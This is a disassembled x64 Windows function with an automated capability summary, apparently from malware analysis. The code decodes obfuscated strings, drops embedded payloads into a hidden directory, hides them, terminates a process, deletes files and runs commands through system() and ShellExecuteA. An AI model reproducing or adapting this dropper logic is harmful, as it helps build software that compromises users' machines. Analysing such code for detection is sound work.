Function at 0x1400815f0
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Create thread
Delete file
Execute command
Move file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x338]
sub rsp, 0x430
mov qword [rbp - 0x78], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rbp + 0x320], rax
call fcn.14007e670
mov dword [rbp - 0x70], 0x11621716
mov word [rbp - 0x6c], 0x100
lea rcx, [rbp - 0x70]
call fcn.140084c10
lea r8, [0x1405d1770]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.1400892e0
cmp qword [rax + 0x18], 0x10
jb 0x140081665
mov rax, qword [rax]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1405d3e88], rax
lea rcx, [rsp + 0x68]
call fcn.140086350
nop
cmp qword [0x1405d3e88], 0xffffffffffffffff
jne 0x140082743
lea rsi, [r14 - 1]
cmp byte [0x1405d3e08], r14b
jne 0x1400817ac
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xb
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x68]
call fcn.1400810e0
mov rdx, rax
lea rcx, [0x1405d1850]
call fcn.1400863b0
nop
lea rcx, [rsp + 0x68]
call fcn.140086350
nop
mov dword [rsp + 0x40], 0x28342e64
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084c10
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140081731
lea rdx, [rsp + 0x40]
lea rcx, [0x1405d1850]
call fcn.140086fd0
mov r8d, 0x104
lea rdx, [rbp + 0x100]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x40]
call fcn.140086400
lea rdx, [0x1405d1850]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x1405d1850]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
nop
lea rcx, [rsp + 0x40]
call fcn.140086350
nop
movzx eax, byte [0x1405d3e09]
cmp al, 1
jne 0x1400818d4
movdqa xmm0, xmmword [0x140284040]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x190813
mov byte [rsp + 0x54], al
lea rcx, [rsp + 0x40]
call fcn.140084e90
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400819f6
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140081420]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movdqa xmm0, xmmword [0x1402842e0]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [0x140284190]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [0x1402844f0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [0x140284220]
movdqa xmmword [rbp + 0x130], xmm1
movdqa xmm0, xmmword [str.3kOYfNp0S]
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmm1, xmmword [0x1402845c0]
movdqa xmmword [rbp + 0x150], xmm1
movdqa xmm0, xmmword [0x140284590]
movdqa xmmword [rbp + 0x160], xmm0
movdqa xmm1, xmmword [0x1402845f0]
movdqa xmmword [rbp + 0x170], xmm1
mov word [rbp + 0x180], 0x100
lea rcx, [0x1405d1790]
call fcn.140086320
mov rbx, rax
lea rcx, [rbp + 0x100]
call fcn.1400827b0
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
test al, al
jne 0x1400819f6
movdqa xmm0, xmmword [0x140284040]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x190813
mov byte [rsp + 0x54], 1
lea rcx, [rsp + 0x40]
call fcn.140084e90
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400819f6
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140081420]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movdqa xmm0, xmmword [0x1402842e0]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [0x140284190]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [0x1402844f0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [0x140284220]
movdqa xmmword [rbp + 0x130], xmm1
movdqa xmm0, xmmword [str.3kOYfNp0S]
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmm1, xmmword [0x1402845c0]
movdqa xmmword [rbp + 0x150], xmm1
movdqa xmm0, xmmword [0x140284590]
movdqa xmmword [rbp + 0x160], xmm0
movdqa xmm1, xmmword [0x1402845f0]
movdqa xmmword [rbp + 0x170], xmm1
mov word [rbp + 0x180], 0x100
lea rcx, [0x1405d1790]
call fcn.140086320
mov rbx, rax
lea rcx, [rbp + 0x100]
call fcn.1400827b0
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x40], 0x281f0e08
mov dword [rsp + 0x44], 0x3239393c
mov dword [rsp + 0x48], 0x2d317d37
mov word [rsp + 0x4c], reloc.WS2_32.dll_gethostbyaddr
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084e30
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140086400
mov rcx, rax
call fcn.14007e7e0
test eax, eax
je 0x140081b0c
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081580
movdqa xmm0, xmmword [0x140284320]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [str.ee_3:_]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [0x140284280]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [0x140284630]
movdqa xmmword [rbp + 0x130], xmm1
movdqa xmm0, xmmword [0x140284620]
movdqa xmmword [rbp + 0x140], xmm0
mov word [rbp + 0x150], 0xb4
mov byte [rbp + 0x152], 1
lea rcx, [rbp + 0x100]
call fcn.140084be0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140089420
mov rcx, rax
lea rdx, [0x1400895f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0x3e392a3a
mov word [rsp + 0x44], 0x2b
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140084e60
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x140082745
movdqa xmm0, xmmword [0x1402840d0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x3f
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.140084e00
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140086400
mov rcx, rax
call fcn.14007e7e0
test eax, eax
je 0x140081bd5
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081580
movdqa xmm0, xmmword [0x140284310]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [0x140284050]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [0x140284080]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [0x140284600]
movdqa xmmword [rbp + 0x130], xmm1
movdqa xmm0, xmmword [0x140284670]
movdqa xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0xf8f8faf5
mov dword [rbp + 0x154], 0x100b1ec
lea rcx, [rbp + 0x100]
call fcn.140084bb0
lea rdx, [rbp + 0x100]
jmp 0x140081ac0
movdqa xmm0, xmmword [0x140284070]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x25397509
mov word [rsp + 0x54], 0x3b
mov byte [rsp + 0x56], 1
lea rcx, [rsp + 0x40]
call fcn.140084b80
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140086400
mov rcx, rax
call fcn.14007e7e0
test eax, eax
je 0x140081cb0
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081580
movdqa xmm0, xmmword [0x140284330]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [0x140284050]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [0x140284020]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [0x140284430]
movdqa xmmword [rbp + 0x130], xmm1
movdqa xmm0, xmmword [0x140284640]
movdqa xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0xf1bcfef2
mov dword [rbp + 0x154], 0xc4c4fef1
mov dword [rbp + 0x158], 0x1008dd0
lea rcx, [rbp + 0x100]
call fcn.140084b50
lea rdx, [rbp + 0x100]
jmp 0x140081ac0
mov dword [rsp + 0x40], 0x1007109
lea rcx, [rsp + 0x40]
call fcn.140084c40
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081cd0
lea rdx, [rsp + 0x40]
lea rdi, [0x1405d1530]
mov rcx, rdi
call fcn.140086fd0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1590]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d17f0]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1450]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1430]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d14d0]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1670]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1650]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d15b0]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d16f0]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d14f0]
call fcn.140086c70
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1710]
call fcn.140086c70
sub rbx, 1
jne 0x140081d04
lea rcx, [rbp + 0x98]
call fcn.14008a810
lea rcx, [rbp + 0x98]
call fcn.140086c50
nop
lea rcx, [rbp + 0xb8]
call fcn.14008a810
lea rcx, [rbp + 0xb8]
call fcn.140086c50
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x68]
call fcn.1400810e0
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.1400863b0
nop
lea rcx, [rsp + 0x68]
call fcn.140086350
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 2]
lea rcx, [rsp + 0x68]
call fcn.140081230
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.1400863b0
nop
lea rcx, [rsp + 0x68]
call fcn.140086350
nop
mov word [rsp + 0x40], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.140084b40
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081ee0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140086fd0
movzx eax, byte [0x1405d3e08]
test al, al
jne 0x140081f1a
lea rdx, [rbp + 0x98]
mov rcx, rdi
call fcn.140086330
lea rdx, [rbp + 0xb8]
jmp 0x140081f25
cmp al, 1
jne 0x140081f2d
lea rdx, [0x1405d1470]
mov rcx, rdi
call fcn.140086330
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1405d1530]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1405d1530]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x40], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.140084b40
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140081f82
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140086fd0
nop
lea rcx, [rbp + 0x78]
call fcn.14008a810
lea rcx, [rbp + 0x78]
call fcn.140086c50
nop
lea rdx, [0x1405d1710]
lea rcx, [rbp + 0x78]
call fcn.140086330
mov dword [rsp + 0x40], 0x3e353864
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084c10
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140081fe0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x78]
call fcn.140086fd0
nop
lea rcx, [rbp + 0x58]
call fcn.14008a810
lea rcx, [rbp + 0x58]
call fcn.140086c50
nop
lea rdx, [0x1405d1590]
lea rcx, [rbp + 0x58]
call fcn.140086330
mov dword [rsp + 0x40], 0x28342e64
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084c10
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082040
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x58]
call fcn.140086fd0
lea r8, [rbp + 0x78]
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.140089630
nop
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0x58]
mov rdx, rdi
lea rcx, [rbp - 0x68]
call fcn.140089630
nop
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x8bcecc31
imul r8d
add edx, r8d
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xea61
sub r8d, ecx
mov eax, r8d
cdq
mov edi, eax
xor edi, edx
sub edi, edx
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x70]
lea r8d, [rdi + 0x2e3e00]
lea rdx, [0x1402d3190]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rcx, qword [rbp - 0x48]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x70]
mov r8d, 0x1a400
lea rdx, [0x1405b6f90]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
lea rcx, [rbp - 0x28]
call fcn.14008a810
lea rcx, [rbp - 0x28]
call fcn.140086c50
nop
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x28]
call fcn.140086330
mov word [rsp + 0x40], WSASetLastError
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.140084b40
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140082200
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x28]
call fcn.140086fd0
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.140086330
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rcx, qword [rbp - 0x28]
call fcn.140081380
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x60]
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.14008a810
nop
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x68]
call fcn.140087050
nop
lea rcx, [rsp + 0x68]
call fcn.14007e7e0
mov rbx, rax
test eax, eax
je 0x1400822c0
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp - 8]
call fcn.14008a810
lea rcx, [rbp - 8]
call fcn.140086c50
nop
mov dword [rsp + 0x40], 0x2e6c2839
mov dword [rsp + 0x44], 0x25312a3c
mov dword [rsp + 0x48], 0x1007337
lea rcx, [rsp + 0x40]
call fcn.140084da0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082300
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 8]
call fcn.140086fd0
lea rdx, [0x1405d1770]
lea rcx, [rbp - 8]
call fcn.140086330
mov dword [rsp + 0x40], 0x2325296a
mov dword [rsp + 0x44], 0x39242e3e
mov dword [rsp + 0x48], 0x100736f
lea rcx, [rsp + 0x40]
call fcn.140084da0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140082352
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 8]
call fcn.140086fd0
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 8]
call fcn.140086330
mov dword [rsp + 0x40], 0x3d353f6a
mov dword [rsp + 0x44], 0x3a70722b
mov dword [rsp + 0x48], 0x303a2137
mov word [rsp + 0x4c], 0x3a
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084e30
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400823b0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 8]
call fcn.140086fd0
mov dword [rsp + 0x40], 0x3e6c2839
mov dword [rsp + 0x44], 0x7120203a
mov dword [rsp + 0x48], 0x30373234
mov dword [rsp + 0x4c], 0x100233f
lea rcx, [rsp + 0x40]
call fcn.140084f20
lea rcx, [rsp + 0x40]
call fcn.140081380
movdqa xmm0, xmmword [0x140284130]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084b10
lea rcx, [rsp + 0x40]
call fcn.140081380
mov dword [rsp + 0x40], 0x3e6c2839
mov dword [rsp + 0x44], 0x7120203a
mov dword [rsp + 0x48], 0x3f3424
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.140084dd0
lea rcx, [rsp + 0x40]
call fcn.140081380
mov dword [rsp + 0x40], 0x296c2839
mov dword [rsp + 0x44], 0x2535232b
mov dword [rsp + 0x48], 0x32227337
mov word [rsp + 0x4c], 0x3d
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084e30
lea rcx, [rsp + 0x40]
call fcn.140081380
nop
lea rcx, [rbp + 0x18]
call fcn.14008a810
lea rcx, [rbp + 0x18]
call fcn.140086c50
nop
mov dword [rsp + 0x40], 0x3e6c2839
mov dword [rsp + 0x44], 0x7120203a
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084ae0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400824d0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x18]
call fcn.140086fd0
lea rdx, [0x1405d1770]
lea rcx, [rbp + 0x18]
call fcn.140086330
nop
lea rcx, [rbp + 0x38]
call fcn.14008a810
lea rcx, [rbp + 0x38]
call fcn.140086c50
nop
mov dword [rsp + 0x40], 0x296c2839
mov dword [rsp + 0x44], 0x2535232b
mov dword [rsp + 0x48], 0x1007337
lea rcx, [rsp + 0x40]
call fcn.140084da0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140082536
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x38]
call fcn.140086fd0
lea rdx, [0x1405d1770]
lea rcx, [rbp + 0x38]
call fcn.140086330
nop
lea rcx, [rbp + 0xd8]
call fcn.14008a810
lea rcx, [rbp + 0xd8]
call fcn.140086c50
nop
mov dword [rsp + 0x40], 0x3e6c2839
mov dword [rsp + 0x44], 0x25222e3a
mov word [rsp + 0x48], WSACleanup
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.140084ec0
lea rax, [rsp + 0x40]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400825a3
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd8]
call fcn.140086fd0
lea rdx, [0x1405d1770]
lea rcx, [rbp + 0xd8]
call fcn.140086330
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0x10
cmovae rcx, qword [rbp + 0x18]
call fcn.140081380
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rcx, qword [rbp + 0x38]
call fcn.140081380
lea rcx, [rbp - 0x48]
call fcn.1400804a0
mov r8d, 0x104
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x210]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
inc rax
mov qword [0x1405d3de0], rax
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x1405d3e08]
cmp al, 1
jne 0x1400826e5
mov dword [rsp + 0x40], 0x23293b25
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140082780
mov r8, qword [0x1405d3de0]
jmp 0x140082714
test al, al
jne 0x14008272f
mov dword [rsp + 0x40], 0x23293b25
mov word [rsp + 0x44], 0x100
lea rcx, [0x1405d1850]
call fcn.140086320
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.140082780
mov r8, rbx
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov al, 1
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.1401e65b0
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret